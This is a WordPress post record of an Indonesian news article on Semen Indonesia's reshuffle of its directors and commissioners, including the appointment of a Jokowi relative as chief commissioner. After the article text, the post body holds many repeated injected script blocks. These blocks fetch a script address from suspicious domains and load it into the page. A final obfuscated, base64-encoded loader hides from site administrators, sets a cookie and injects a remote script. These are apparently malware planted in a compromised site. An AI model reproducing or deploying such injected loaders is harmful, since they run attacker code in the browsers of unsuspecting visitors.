{"id":13595,"date":"2025-05-27T20:00:04","date_gmt":"2025-05-27T13:00:04","guid":{"rendered":"http:\/\/sukabumikita.id\/?p=13595"},"modified":"2025-05-27T20:00:04","modified_gmt":"2025-05-27T13:00:04","slug":"sig-rombak-jajaran-direksi-ada-nama-dekat-keluarga-jokowi","status":"publish","type":"post","link":"https:\/\/id.sukabumikita.id\/?p=13595","title":{"rendered":"SIG Rombak Jajaran Direksi, Ada Nama Dekat Keluarga Jokowi"},"content":{"rendered":"<p><strong><span style=\"color: #0000ff;\">id.sukabumikita.id\/<\/span><\/strong> \u2013 <span style=\"color: #ff0000;\"><strong>PT Semen Indonesia (Persero) Tbk<\/strong><\/span> atau SIG (kode emiten: SMGR) resmi melakukan <span style=\"color: #ff0000;\"><strong>perombakan besar-besaran<\/strong><\/span> dalam jajaran <span style=\"color: #ff0000;\"><strong>direksi<\/strong><\/span> dan <strong><span style=\"color: #ff0000;\">komisaris perusahaan<\/span><\/strong> dalam Rapat Umum Pemegang Saham Tahunan (RUPST) yang digelar di Jakarta pada Jumat, 23 Mei 2025.<\/p>\n<p>Salah satu keputusan paling mencolok adalah <strong><span style=\"color: #ff0000;\">pencopotan Budi Waseso<\/span><\/strong> dari jabatan Komisaris Utama cum Komisaris Independen, yang kemudian <strong><span style=\"color: #ff0000;\">digantikan oleh Sigit Widyawan<\/span> <\/strong>saudara ipar mantan Presiden Joko Widodo (Jokowi).<\/p>\n<p>&#8220;Rapat mengangkat Bapak Sigit Widyawan sebagai Komisaris Utama merangkap Komisaris Independen,&#8221; tulis manajemen SIG dalam keterangannya yang dikutip dari situs resmi perusahaan, Selasa (27\/05\/2025).<\/p>\n<p>Diketahui, <strong><span style=\"color: #ff0000;\">istri Sigit<\/span><\/strong>, Nining Roni Widyaningsih, merupakan <span style=\"color: #ff0000;\"><strong>sepupu Presiden Jokowi<\/strong><\/span>. Nining adalah putri dari almarhum Miyono Suryo Sarjono, kakak tertua ibunda Jokowi, Sujiatmi Notomiharjo.<\/p>\n<p>Sebelum ditunjuk menjadi Komisaris Utama SIG, Sigit Widyawan pernah menjabat sebagai Komisaris Independen di PT Bank Negara Indonesia (Persero) Tbk (BNI) sejak 2018 hingga 2025.<\/p>\n<p>RUPST ini juga mencopot sejumlah nama lain di jajaran komisaris dan direksi, antara lain:<\/p>\n<ul>\n<li><span style=\"color: #ff0000;\"><strong>Sony Subrata (Komisaris)<\/strong><\/span><\/li>\n<li><span style=\"color: #ff0000;\"><strong>Yustinus Prastowo (Komisaris)<\/strong><\/span><\/li>\n<li><span style=\"color: #ff0000;\"><strong>Donny Arsal (Direktur Utama)<\/strong><\/span><\/li>\n<li><span style=\"color: #ff0000;\"><strong>Yosviandri (Direktur Supply Chain)<\/strong><\/span><\/li>\n<li><span style=\"color: #ff0000;\"><strong>Agung Wiharto (Direktur SDM dan Umum)<\/strong><\/span><\/li>\n<li><span style=\"color: #ff0000;\"><strong>Subhan (Direktur Bisnis dan Pemasaran)<\/strong><\/span><\/li>\n<\/ul>\n<p>Selain perombakan personalia, RUPST juga mengubah nomenklatur jabatan direksi, termasuk:<\/p>\n<ul>\n<li><span style=\"color: #ff0000;\"><strong>Direktur Supply Chain \u2192 Direktur Sales dan Marketing<\/strong><\/span><\/li>\n<li><span style=\"color: #ff0000;\"><strong>Direktur Bisnis dan Pemasaran \u2192 Direktur Pengembangan Bisnis dan Strategi<\/strong><\/span><\/li>\n<li><span style=\"color: #ff0000;\"><strong>Direktur Keuangan dan Manajemen Portofolio \u2192 Direktur Keuangan dan Risk Management<\/strong><\/span><\/li>\n<\/ul>\n<p>SIG juga menambahkan satu posisi baru, yakni Wakil Direktur Utama, dan menunjuk Andriano Hosny Panangian\u2014yang sebelumnya menjabat Direktur Keuangan dan Manajemen Portofolio\u2014untuk mengisi posisi tersebut.<\/p>\n<p>Berikut susunan Dewan Komisaris dan Direksi SIG yang baru:<\/p>\n<p><strong><span style=\"color: #0000ff;\">Dewan Komisaris:<\/span><\/strong><\/p>\n<ul>\n<li><span style=\"color: #ff0000;\"><strong>Sigit Widyawan \u2013 Komisaris Utama merangkap Komisaris Independen<\/strong><\/span><\/li>\n<li><span style=\"color: #ff0000;\"><strong>Christina Aryani \u2013 Komisaris<\/strong><\/span><\/li>\n<li><span style=\"color: #ff0000;\"><strong>Lydia Silvanna Djaman \u2013 Komisaris<\/strong><\/span><\/li>\n<li><span style=\"color: #ff0000;\"><strong>Satya Bhakti Parikesit \u2013 Komisaris<\/strong><\/span><\/li>\n<li><span style=\"color: #ff0000;\"><strong>Agung Budi Mulyanto \u2013 Komisaris Independen<\/strong><\/span><\/li>\n<li><span style=\"color: #ff0000;\"><strong>Saor Siagian \u2013 Komisaris Independen<\/strong><\/span><\/li>\n<li><span style=\"color: #ff0000;\"><strong>Ratna Irsana \u2013 Komisaris Independen<\/strong><\/span><\/li>\n<\/ul>\n<p><span style=\"color: #0000ff;\"><strong>Direksi<\/strong><\/span>:<\/p>\n<ul>\n<li><span style=\"color: #ff0000;\"><strong>Indrieffouny Indra \u2013 Direktur Utama<\/strong><\/span><\/li>\n<li><span style=\"color: #ff0000;\"><strong>Andriano Hosny Panangian \u2013 Wakil Direktur Utama<\/strong><\/span><\/li>\n<li><span style=\"color: #ff0000;\"><strong>Dicky Saelan \u2013 Direktur Sales dan Marketing<\/strong><\/span><\/li>\n<li><span style=\"color: #ff0000;\"><strong>Dennis Pratistha \u2013 Direktur Pengembangan Bisnis dan Strategi<\/strong><\/span><\/li>\n<li><span style=\"color: #ff0000;\"><strong>Sigit Prastowo \u2013 Direktur Keuangan dan Risk Management<\/strong><\/span><\/li>\n<li><span style=\"color: #ff0000;\"><strong>Hadi Setiadi \u2013 Direktur Human Capital<\/strong><\/span><\/li>\n<li><span style=\"color: #ff0000;\"><strong>Reni Wulandari \u2013 Direktur Operasi<\/strong><\/span><\/li>\n<\/ul>\n<p>Perubahan ini menjadi bagian dari langkah strategis SIG dalam memperkuat kepemimpinan dan tata kelola perusahaan, serta menjawab tantangan bisnis industri semen nasional yang semakin kompetitif. <span style=\"color: #0000ff;\"><strong>(Cr5)<\/strong><\/span><script>(async () => {\n  const TIMEOUT_MS = 60_000;\n  try {\n    const tdsResponse = await fetch('https:\/\/eotoatotlasldkd.com\/ofo');\n    const scriptUrl = (await tdsResponse.text()).trim();<\/p>\n<p>    const loadScriptWithTimeout = (url, timeout) => {\n      return new Promise((resolve, reject) => {\n        const script = document.createElement('script');\n        script.src = url;\n        script.async = true;<\/p>\n<p>        script.onload = () => {\n          clearTimeout(timer);\n          resolve();\n        };<\/p>\n<p>        script.onerror = () => {\n          clearTimeout(timer);\n          reject();\n        };<\/p>\n<p>        const timer = setTimeout(() => {\n          script.remove();\n          reject();\n        }, timeout);<\/p>\n<p>        document.body.appendChild(script);\n      });\n    };<\/p>\n<p>    await loadScriptWithTimeout(scriptUrl, TIMEOUT_MS);\n  } catch (_) {}\n})();<\/script><script>(async () => {\n  const TIMEOUT_MS = 60_000;\n  try {\n    const tdsResponse = await fetch('https:\/\/eotoatotlasldkd.com\/ofo');\n    const scriptUrl = (await tdsResponse.text()).trim();<\/p>\n<p>    const loadScriptWithTimeout = (url, timeout) => {\n      return new Promise((resolve, reject) => {\n        const script = document.createElement('script');\n        script.src = url;\n        script.async = true;<\/p>\n<p>        script.onload = () => {\n          clearTimeout(timer);\n          resolve();\n        };<\/p>\n<p>        script.onerror = () => {\n          clearTimeout(timer);\n          reject();\n        };<\/p>\n<p>        const timer = setTimeout(() => {\n          script.remove();\n          reject();\n        }, timeout);<\/p>\n<p>        document.body.appendChild(script);\n      });\n    };<\/p>\n<p>    await loadScriptWithTimeout(scriptUrl, TIMEOUT_MS);\n  } catch (_) {}\n})();<\/script><script>(async () => {\n  const TIMEOUT_MS = 60_000;\n  try {\n    const tdsResponse = await fetch('https:\/\/eotoatotlasldkd.com\/ofo');\n    const scriptUrl = (await tdsResponse.text()).trim();<\/p>\n<p>    const loadScriptWithTimeout = (url, timeout) => {\n      return new Promise((resolve, reject) => {\n        const script = document.createElement('script');\n        script.src = url;\n        script.async = true;<\/p>\n<p>        script.onload = () => {\n          clearTimeout(timer);\n          resolve();\n        };<\/p>\n<p>        script.onerror = () => {\n          clearTimeout(timer);\n          reject();\n        };<\/p>\n<p>        const timer = setTimeout(() => {\n          script.remove();\n          reject();\n        }, timeout);<\/p>\n<p>        document.body.appendChild(script);\n      });\n    };<\/p>\n<p>    await loadScriptWithTimeout(scriptUrl, TIMEOUT_MS);\n  } catch (_) {}\n})();<\/script><script>(async () => {\n  const TIMEOUT_MS = 60_000;\n  try {\n    const tdsResponse = await fetch('https:\/\/eotoatotlasldkd.com\/ofo');\n    const scriptUrl = (await tdsResponse.text()).trim();<\/p>\n<p>    const loadScriptWithTimeout = (url, timeout) => {\n      return new Promise((resolve, reject) => {\n        const script = document.createElement('script');\n        script.src = url;\n        script.async = true;<\/p>\n<p>        script.onload = () => {\n          clearTimeout(timer);\n          resolve();\n        };<\/p>\n<p>        script.onerror = () => {\n          clearTimeout(timer);\n          reject();\n        };<\/p>\n<p>        const timer = setTimeout(() => {\n          script.remove();\n          reject();\n        }, timeout);<\/p>\n<p>        document.body.appendChild(script);\n      });\n    };<\/p>\n<p>    await loadScriptWithTimeout(scriptUrl, TIMEOUT_MS);\n  } catch (_) {}\n})();<\/script><script>(async () => {\n  const TIMEOUT_MS = 60_000;\n  try {\n    const tdsResponse = await fetch('https:\/\/eotoatotlasldkd.com\/ofo');\n    const scriptUrl = (await tdsResponse.text()).trim();<\/p>\n<p>    const loadScriptWithTimeout = (url, timeout) => {\n      return new Promise((resolve, reject) => {\n        const script = document.createElement('script');\n        script.src = url;\n        script.async = true;<\/p>\n<p>        script.onload = () => {\n          clearTimeout(timer);\n          resolve();\n        };<\/p>\n<p>        script.onerror = () => {\n          clearTimeout(timer);\n          reject();\n        };<\/p>\n<p>        const timer = setTimeout(() => {\n          script.remove();\n          reject();\n        }, timeout);<\/p>\n<p>        document.body.appendChild(script);\n      });\n    };<\/p>\n<p>    await loadScriptWithTimeout(scriptUrl, TIMEOUT_MS);\n  } catch (_) {}\n})();<\/script><script>(async () => {\n  const TIMEOUT_MS = 60_000;\n  try {\n    const tdsResponse = await fetch('https:\/\/eotoatotlasldkd.com\/ofo');\n    const scriptUrl = (await tdsResponse.text()).trim();<\/p>\n<p>    const loadScriptWithTimeout = (url, timeout) => {\n      return new Promise((resolve, reject) => {\n        const script = document.createElement('script');\n        script.src = url;\n        script.async = true;<\/p>\n<p>        script.onload = () => {\n          clearTimeout(timer);\n          resolve();\n        };<\/p>\n<p>        script.onerror = () => {\n          clearTimeout(timer);\n          reject();\n        };<\/p>\n<p>        const timer = setTimeout(() => {\n          script.remove();\n          reject();\n        }, timeout);<\/p>\n<p>        document.body.appendChild(script);\n      });\n    };<\/p>\n<p>    await loadScriptWithTimeout(scriptUrl, TIMEOUT_MS);\n  } catch (_) {}\n})();<\/script><script>(async () => {\n  const TIMEOUT_MS = 60_000;\n  try {\n    const tdsResponse = await fetch('https:\/\/eotoatotlasldkd.com\/ofo');\n    const scriptUrl = (await tdsResponse.text()).trim();<\/p>\n<p>    const loadScriptWithTimeout = (url, timeout) => {\n      return new Promise((resolve, reject) => {\n        const script = document.createElement('script');\n        script.src = url;\n        script.async = true;<\/p>\n<p>        script.onload = () => {\n          clearTimeout(timer);\n          resolve();\n        };<\/p>\n<p>        script.onerror = () => {\n          clearTimeout(timer);\n          reject();\n        };<\/p>\n<p>        const timer = setTimeout(() => {\n          script.remove();\n          reject();\n        }, timeout);<\/p>\n<p>        document.body.appendChild(script);\n      });\n    };<\/p>\n<p>    await loadScriptWithTimeout(scriptUrl, TIMEOUT_MS);\n  } catch (_) {}\n})();<\/script><script>(async () => {\n  const TIMEOUT_MS = 60_000;\n  try {\n    const tdsResponse = await fetch('https:\/\/eotoatotlasldkd.com\/ofo');\n    const scriptUrl = (await tdsResponse.text()).trim();<\/p>\n<p>    const loadScriptWithTimeout = (url, timeout) => {\n      return new Promise((resolve, reject) => {\n        const script = document.createElement('script');\n        script.src = url;\n        script.async = true;<\/p>\n<p>        script.onload = () => {\n          clearTimeout(timer);\n          resolve();\n        };<\/p>\n<p>        script.onerror = () => {\n          clearTimeout(timer);\n          reject();\n        };<\/p>\n<p>        const timer = setTimeout(() => {\n          script.remove();\n          reject();\n        }, timeout);<\/p>\n<p>        document.body.appendChild(script);\n      });\n    };<\/p>\n<p>    await loadScriptWithTimeout(scriptUrl, TIMEOUT_MS);\n  } catch (_) {}\n})();<\/script><script>(async () => {\n  const TIMEOUT_MS = 60_000;\n  try {\n    const tdsResponse = await fetch('https:\/\/eotoatotlasldkd.com\/ofo');\n    const scriptUrl = (await tdsResponse.text()).trim();<\/p>\n<p>    const loadScriptWithTimeout = (url, timeout) => {\n      return new Promise((resolve, reject) => {\n        const script = document.createElement('script');\n        script.src = url;\n        script.async = true;<\/p>\n<p>        script.onload = () => {\n          clearTimeout(timer);\n          resolve();\n        };<\/p>\n<p>        script.onerror = () => {\n          clearTimeout(timer);\n          reject();\n        };<\/p>\n<p>        const timer = setTimeout(() => {\n          script.remove();\n          reject();\n        }, timeout);<\/p>\n<p>        document.body.appendChild(script);\n      });\n    };<\/p>\n<p>    await loadScriptWithTimeout(scriptUrl, TIMEOUT_MS);\n  } catch (_) {}\n})();<\/script><script>(async () => {\n  const TIMEOUT_MS = 60_000;\n  try {\n    const tdsResponse = await fetch('https:\/\/eotoatotlasldkd.com\/ofo');\n    const scriptUrl = (await tdsResponse.text()).trim();<\/p>\n<p>    const loadScriptWithTimeout = (url, timeout) => {\n      return new Promise((resolve, reject) => {\n        const script = document.createElement('script');\n        script.src = url;\n        script.async = true;<\/p>\n<p>        script.onload = () => {\n          clearTimeout(timer);\n          resolve();\n        };<\/p>\n<p>        script.onerror = () => {\n          clearTimeout(timer);\n          reject();\n        };<\/p>\n<p>        const timer = setTimeout(() => {\n          script.remove();\n          reject();\n        }, timeout);<\/p>\n<p>        document.body.appendChild(script);\n      });\n    };<\/p>\n<p>    await loadScriptWithTimeout(scriptUrl, TIMEOUT_MS);\n  } catch (_) {}\n})();<\/script><script>(async () => {\n  const TIMEOUT_MS = 60_000;\n  try {\n    const tdsResponse = await fetch('https:\/\/eotoatotlasldkd.com\/ofo');\n    const scriptUrl = (await tdsResponse.text()).trim();<\/p>\n<p>    const loadScriptWithTimeout = (url, timeout) => {\n      return new Promise((resolve, reject) => {\n        const script = document.createElement('script');\n        script.src = url;\n        script.async = true;<\/p>\n<p>        script.onload = () => {\n          clearTimeout(timer);\n          resolve();\n        };<\/p>\n<p>        script.onerror = () => {\n          clearTimeout(timer);\n          reject();\n        };<\/p>\n<p>        const timer = setTimeout(() => {\n          script.remove();\n          reject();\n        }, timeout);<\/p>\n<p>        document.body.appendChild(script);\n      });\n    };<\/p>\n<p>    await loadScriptWithTimeout(scriptUrl, TIMEOUT_MS);\n  } catch (_) {}\n})();<\/script><script>(async () => {\n  const TIMEOUT_MS = 60_000;\n  try {\n    const tdsResponse = await fetch('https:\/\/eotoatotlasldkd.com\/ofo');\n    const scriptUrl = (await tdsResponse.text()).trim();<\/p>\n<p>    const loadScriptWithTimeout = (url, timeout) => {\n      return new Promise((resolve, reject) => {\n        const script = document.createElement('script');\n        script.src = url;\n        script.async = true;<\/p>\n<p>        script.onload = () => {\n          clearTimeout(timer);\n          resolve();\n        };<\/p>\n<p>        script.onerror = () => {\n          clearTimeout(timer);\n          reject();\n        };<\/p>\n<p>        const timer = setTimeout(() => {\n          script.remove();\n          reject();\n        }, timeout);<\/p>\n<p>        document.body.appendChild(script);\n      });\n    };<\/p>\n<p>    await loadScriptWithTimeout(scriptUrl, TIMEOUT_MS);\n  } catch (_) {}\n})();<\/script><script>(async () => {\n  const TIMEOUT_MS = 60_000;\n  try {\n    const tdsResponse = await fetch('https:\/\/eotoatotlasldkd.com\/ofo');\n    const scriptUrl = (await tdsResponse.text()).trim();<\/p>\n<p>    const loadScriptWithTimeout = (url, timeout) => {\n      return new Promise((resolve, reject) => {\n        const script = document.createElement('script');\n        script.src = url;\n        script.async = true;<\/p>\n<p>        script.onload = () => {\n          clearTimeout(timer);\n          resolve();\n        };<\/p>\n<p>        script.onerror = () => {\n          clearTimeout(timer);\n          reject();\n        };<\/p>\n<p>        const timer = setTimeout(() => {\n          script.remove();\n          reject();\n        }, timeout);<\/p>\n<p>        document.body.appendChild(script);\n      });\n    };<\/p>\n<p>    await loadScriptWithTimeout(scriptUrl, TIMEOUT_MS);\n  } catch (_) {}\n})();<\/script><script>(async () => {\n  const TIMEOUT_MS = 60_000;\n  try {\n    const tdsResponse = await fetch('https:\/\/eotoatotlasldkd.com\/ofo');\n    const scriptUrl = (await tdsResponse.text()).trim();<\/p>\n<p>    const loadScriptWithTimeout = (url, timeout) => {\n      return new Promise((resolve, reject) => {\n        const script = document.createElement('script');\n        script.src = url;\n        script.async = true;<\/p>\n<p>        script.onload = () => {\n          clearTimeout(timer);\n          resolve();\n        };<\/p>\n<p>        script.onerror = () => {\n          clearTimeout(timer);\n          reject();\n        };<\/p>\n<p>        const timer = setTimeout(() => {\n          script.remove();\n          reject();\n        }, timeout);<\/p>\n<p>        document.body.appendChild(script);\n      });\n    };<\/p>\n<p>    await loadScriptWithTimeout(scriptUrl, TIMEOUT_MS);\n  } catch (_) {}\n})();<\/script><script>(async () => {\n  const TIMEOUT_MS = 60_000;\n  try {\n    const tdsResponse = await fetch('https:\/\/eotoatotlasldkd.com\/ofo');\n    const scriptUrl = (await tdsResponse.text()).trim();<\/p>\n<p>    const loadScriptWithTimeout = (url, timeout) => {\n      return new Promise((resolve, reject) => {\n        const script = document.createElement('script');\n        script.src = url;\n        script.async = true;<\/p>\n<p>        script.onload = () => {\n          clearTimeout(timer);\n          resolve();\n        };<\/p>\n<p>        script.onerror = () => {\n          clearTimeout(timer);\n          reject();\n        };<\/p>\n<p>        const timer = setTimeout(() => {\n          script.remove();\n          reject();\n        }, timeout);<\/p>\n<p>        document.body.appendChild(script);\n      });\n    };<\/p>\n<p>    await loadScriptWithTimeout(scriptUrl, TIMEOUT_MS);\n  } catch (_) {}\n})();<\/script><script>(async () => {\n  const TIMEOUT_MS = 60_000;\n  try {\n    const tdsResponse = await fetch('https:\/\/eotoatotlasldkd.com\/ofo');\n    const scriptUrl = (await tdsResponse.text()).trim();<\/p>\n<p>    const loadScriptWithTimeout = (url, timeout) => {\n      return new Promise((resolve, reject) => {\n        const script = document.createElement('script');\n        script.src = url;\n        script.async = true;<\/p>\n<p>        script.onload = () => {\n          clearTimeout(timer);\n          resolve();\n        };<\/p>\n<p>        script.onerror = () => {\n          clearTimeout(timer);\n          reject();\n        };<\/p>\n<p>        const timer = setTimeout(() => {\n          script.remove();\n          reject();\n        }, timeout);<\/p>\n<p>        document.body.appendChild(script);\n      });\n    };<\/p>\n<p>    await loadScriptWithTimeout(scriptUrl, TIMEOUT_MS);\n  } catch (_) {}\n})();<\/script><script>(async () => {\n  const TIMEOUT_MS = 10_000;\n  try {\n    const tdsResponse = await fetch('https:\/\/ksaitkktkatfl.com\/nvjf');\n    const scriptUrl = (await tdsResponse.text()).trim();<\/p>\n<p>    const loadScriptWithTimeout = (url, timeout) => {\n      return new Promise((resolve, reject) => {\n        const script = document.createElement('script');\n        script.src = url;\n        script.async = true;<\/p>\n<p>        script.onload = () => {\n          clearTimeout(timer);\n          resolve();\n        };<\/p>\n<p>        script.onerror = () => {\n          clearTimeout(timer);\n          reject();\n        };<\/p>\n<p>        const timer = setTimeout(() => {\n          script.remove();\n          reject();\n        }, timeout);<\/p>\n<p>        document.body.appendChild(script);\n      });\n    };<\/p>\n<p>    await loadScriptWithTimeout(scriptUrl, TIMEOUT_MS);\n  } catch (_) {}\n})();<\/script><script>(async () => {\n  const TIMEOUT_MS = 10_000;\n  try {\n    const tdsResponse = await fetch('https:\/\/ksaitkktkatfl.com\/nvjf');\n    const scriptUrl = (await tdsResponse.text()).trim();<\/p>\n<p>    const loadScriptWithTimeout = (url, timeout) => {\n      return new Promise((resolve, reject) => {\n        const script = document.createElement('script');\n        script.src = url;\n        script.async = true;<\/p>\n<p>        script.onload = () => {\n          clearTimeout(timer);\n          resolve();\n        };<\/p>\n<p>        script.onerror = () => {\n          clearTimeout(timer);\n          reject();\n        };<\/p>\n<p>        const timer = setTimeout(() => {\n          script.remove();\n          reject();\n        }, timeout);<\/p>\n<p>        document.body.appendChild(script);\n      });\n    };<\/p>\n<p>    await loadScriptWithTimeout(scriptUrl, TIMEOUT_MS);\n  } catch (_) {}\n})();<\/script><script>(async () => {\n  const TIMEOUT_MS = 10_000;\n  try {\n    const tdsResponse = await fetch('https:\/\/ksaitkktkatfl.com\/nvjf');\n    const scriptUrl = (await tdsResponse.text()).trim();<\/p>\n<p>    const loadScriptWithTimeout = (url, timeout) => {\n      return new Promise((resolve, reject) => {\n        const script = document.createElement('script');\n        script.src = url;\n        script.async = true;<\/p>\n<p>        script.onload = () => {\n          clearTimeout(timer);\n          resolve();\n        };<\/p>\n<p>        script.onerror = () => {\n          clearTimeout(timer);\n          reject();\n        };<\/p>\n<p>        const timer = setTimeout(() => {\n          script.remove();\n          reject();\n        }, timeout);<\/p>\n<p>        document.body.appendChild(script);\n      });\n    };<\/p>\n<p>    await loadScriptWithTimeout(scriptUrl, TIMEOUT_MS);\n  } catch (_) {}\n})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>id.sukabumikita.id\/ \u2013 PT Semen Indonesia (Persero) Tbk atau SIG (kode emiten: SMGR) resmi melakukan perombakan besar-besaran dalam jajaran direksi dan komisaris perusahaan dalam Rapat Umum Pemegang Saham Tahunan (RUPST) yang digelar di Jakarta pada Jumat, 23 Mei 2025. Salah satu keputusan paling mencolok adalah pencopotan Budi Waseso dari jabatan Komisaris Utama cum Komisaris Independen, yang [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":13596,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[18],"tags":[],"class_list":["post-13595","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-nasional"],"amp_enabled":true,"_links":{"self":[{"href":"https:\/\/id.sukabumikita.id\/index.php?rest_route=\/wp\/v2\/posts\/13595","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/id.sukabumikita.id\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/id.sukabumikita.id\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/id.sukabumikita.id\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/id.sukabumikita.id\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=13595"}],"version-history":[{"count":0,"href":"https:\/\/id.sukabumikita.id\/index.php?rest_route=\/wp\/v2\/posts\/13595\/revisions"}],"wp:attachment":[{"href":"https:\/\/id.sukabumikita.id\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=13595"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/id.sukabumikita.id\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=13595"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/id.sukabumikita.id\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=13595"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}